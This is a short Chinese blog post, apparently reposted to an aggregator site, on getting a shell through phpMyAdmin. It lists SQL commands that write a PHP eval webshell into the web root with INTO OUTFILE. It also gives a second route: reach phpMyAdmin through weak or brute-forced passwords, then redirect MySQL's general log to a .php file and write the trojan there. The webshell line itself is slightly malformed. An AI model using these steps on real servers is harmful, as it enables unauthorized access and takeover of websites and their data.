首页 > Web开发 > 详细

尝试用phpmyadmin去getshell

时间:2019-10-31 09:18:40      阅读:121      评论:0      收藏:0      [点我收藏+]

PHPmyadmin getshell的方法

1、 show global variables like ‘% secure-file-priv %’如果该参数设置为空或者指定文件夹可以利用,然后写木马,select “<?php @eval($_POST[k];?)>” into outfile “/var/www/html/conf.php”

2、 利用日志文件getshell

常见的日志文件分为业务(常见服务)日志和系统日志

利用phpmyadmin的日志文件去getshell,mysql>5.0会创建日主文件,是全局变量且可读写

(1)通过弱口令或者爆破的方式登陆phpmyadmin,执行sql语句:

select @@datadir;

 技术分享图片

 

 

猜源码存放的位置:D:\phpstudy_pro\www

查看日志状态:show variables like ‘%general%’;

 技术分享图片

 

 

执行命令set global general_log = ‘on’来开启日志记录功能并修改记录的路径和文件名。

 技术分享图片

 

 

再次查看,已开启

 技术分享图片

 

 

 

修改路径

Set global general_log_file=’H:\\webroot\\log.php’

 技术分享图片

 

 

查看,路径已经改变

 技术分享图片

 

 

写入木马即可

尝试用phpmyadmin去getshell

原文:https://www.cnblogs.com/shayanboy/p/11769105.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!